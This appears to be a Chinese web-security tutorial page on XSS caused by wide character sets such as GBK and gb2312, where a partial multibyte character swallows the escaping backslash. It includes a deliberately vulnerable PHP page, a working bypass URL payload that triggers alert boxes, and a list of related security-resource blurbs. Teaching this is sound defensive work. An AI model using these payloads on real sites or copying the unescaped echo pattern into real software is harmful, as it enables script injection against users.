1、【字符导致的XSS】
Web程序输出页面时会指定(或使用默认的)一个字符集,告诉浏览器如何处理返回的数据,常见字符集有utf-8,GBK,gb2312等等。经证明,IE、Chrome、FF等在处理宽字符集(如gb2312,GBK)时存在问题,可导致一些安全规则被Bypass掉,引发XSS安全漏洞。
浏览器在解析一个新字符时,首先读取一个字节,如果该字节(Valid字节,V字节,我暂且这样称呼)是指定字符集里的某个字符(该字符至少有由两个字节组成)的第一个字节时,则试图用该字节和其后续字节构成一个合法的字符,如果组合成功则输出该字符,不成功则尽量显示一个合理字符。
在攻击时,攻击者可把一个字符拆分成若干个字节,然后把这一个字节和其它字符一起发送到服务器端,如果这个字节可以和其它字符的字节构成一个字符,这样该字节就吃掉了后面的字符。处理不慎就会导致XSS等安全漏洞。
例如:
JavaScript中常用双引号“"”做为字符串的分界符。为防止XSS、SQLI等攻击时,对于从客户端输入到服务器端的双引号,我们会用反斜杠来转义。考虑攻击,如果客户端的输入串中在一个V字节后紧跟一个双引号,到服务器端时,我们会给双引号添加一个反斜杠;这些内容下次发送给浏览器时,浏览器会把V字节和后面的反斜杠解析为一个字符,即V字节吃掉了反斜杠,我们以前的安全处理失效;这样程序就会出现问题。
请看下面的例子:
示例一:
PHP页面:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>字符导致的XSS</title>
</head>
<body>
<script language="javascript">
function callback(o){
//do nothing
}
callback({"userInput":"normal"});//正常输入
callback({"userInput":"<?php echo substr('我',0,1);?>\"});alert(0);//"});//攻击性输入
callback({"userInput":"<?php echo substr('我',0,2);?>\"});alert(1);//"});//攻击性输入
callback({'userInput':'<?php echo chr(0xC1);?>\'});alert(2);//'});//攻击性输入
</script>
</body>
</html>
PHP页面输出:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>字符导致的XSS</title>
</head>
<body>
<script language="javascript">
function callback(o){
//do nothing
}
callback({"userInput":"normal"});//正常输入
callback({"userInput":"蝄"});alert(0);//"});//攻击性输入
callback({"userInput":"我\"});alert(1);//"});//攻击性输入
callback({'userInput':'羂'});alert(2);//'});//攻击性输入
</script>
</body>
</html>
说明:
1.userInput对应的值为用户输入的值;
2.为了解释我们用PHP来截断输出字符中的字节;
3.从程序输出可以看出“我”的第一个字节和表示反斜杠的字节被浏览器识别为“襖”字,从而V字节吃掉了反斜杠
4.meta中指定的
charset=utf-8为时,不会出现上述问题;但是用户强制在页面上把编码转换为gb2312时又会出现该问题。
示例二:如何输入半个字符?
PHP页面http://localhost/test2.php:
<script language="javascript">
var callback = "<?=($_GET["callback"])?>";
</script>
在浏览器中输入如下URL:
http://localhost/test2.php?callback=%E6";alert%28/XSS/%29;//"
回车,页面输出如下HTML,并弹出alert框“ /XSS/ ”,说明存在XSS漏洞。
<script language="javascript">
var callback = "鎈";alert(/XSS/);//\"";
</script>
说明:
(1) PHP中会对所有双引号添加反斜杠来转义,根据输入URL的最后一个双引号的输出结果可看出。
(2) 本来对callback=%E6" 中的双引号也添加有一个反斜杠,
但是%E6(“我”字第一个字节的URL编码)和%5C能构成一个字符“鎈”,所以输出时,%E6就吃掉了后面的双引号。从而导致XSS漏洞
分享到:
相关推荐
E020-渗透测试常用工具-使用w3af进行Web应用安全漏洞测试
最新版全面的Web应用安全漏洞分析pdf手册,帮助开发人员快速掌握Web应用安全漏洞
许多程序员不知道如何开发安全的应用程序,开发出来的Web应用存在较多的安全漏洞,这些安全漏洞一旦被黑客利用将导致严重甚至是灾难性的后果。这并非危言耸听,类似的网上事故举不胜举,的Web产品也曾多次遭黑客攻击...
Web 应用安全漏洞原理及测试技术1 SQL注入漏洞 任意文件上传漏洞 任意文件下载漏洞 文件包含漏洞 XSS跨站脚本漏洞 CSRF跨站请求伪造漏洞 逻辑漏洞
Web 应用程序安全框架的类别描述 Web 应用程序安全框架的类别描述
ASP.NET Web应用程序常见网络安全漏洞解决方案分析.pdf
首先介绍了Web应用安全威胁分类, 总结了常见的Web应用安全漏洞; 然后对当前Web安全性测试技术的研究进行了全面概述, 比较了静态技术和动态技术各自的优缺点, 同时对在Web安全性测试中新兴涌现的模糊测试技术进行了...
SQL注入是一种Web应用代码中的漏洞。 黑客可以构造特殊请求,使Web应用执行带有附加条件的SQL语句 用户请求中带有参数的值,没有进行任何过滤 用户请求中带有参数的值,没有进行任何转码 通过特殊的请求,Web应用向...
软件工程中的Web应用安全与漏洞扫描策略.pptx
WEB应用系统安全规范,详细的介绍了 关于javaweb应用系统关于如何避免安全漏洞方面的文档要求
WEB应用程序漏洞发掘原理,黄玮,,Web应用程序由于其良好的跨平台性和交互性特点,正在得到越来越普遍的应用。伴随着Web应用程序发展的过程中,各种针对Web应用程序的
通过阅读本手册,读者可以了解到Web应用程序安全的重要性,掌握常见的安全漏洞及攻击方式,学习如何进行安全测试和防范措施等。 本手册适用于各种场景,包括Web应用程序开发、安全测试、安全防范等。对于Web开发...
Acunetix是一款专业的Web安全测试工具,可帮助企业识别和解决Web应用程序中的各种漏洞和安全问题。它采用自动化测试技术,为用户提供高效而准确的Web应用程序扫描,能够帮助您查找所有类型的安全问题,包括SQL注入、...
Vooki是一款免费且用户界面友好的Web应用漏扫工具,它可以轻松地为你扫描任何Web应用并查找漏洞。Vooki主要包括三个部分,Web应用扫描器,Rest API扫描器以及报告 Sql注入 命令注入 头注入 反射型XSS 存储型XSS ...
目前,企业开发的很多新应用程序都是Web应用程序,而且Web服务也被越来越频繁地用于集成Web应用程序
Web应用安全:上传漏洞概述.pptx
在网络技术和电子商务飞速发展的今天,Web应用安全面临着前所未有的挑战。本书凝聚了作者们超过30年的Web安全从业经验,详细剖析了Web应用的安全漏洞,攻击手法和对抗措施,一步步的教授如何防御邪恶的攻击,并协助...
web安全测试:工具的应用、安全编程、漏洞扫描
基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL...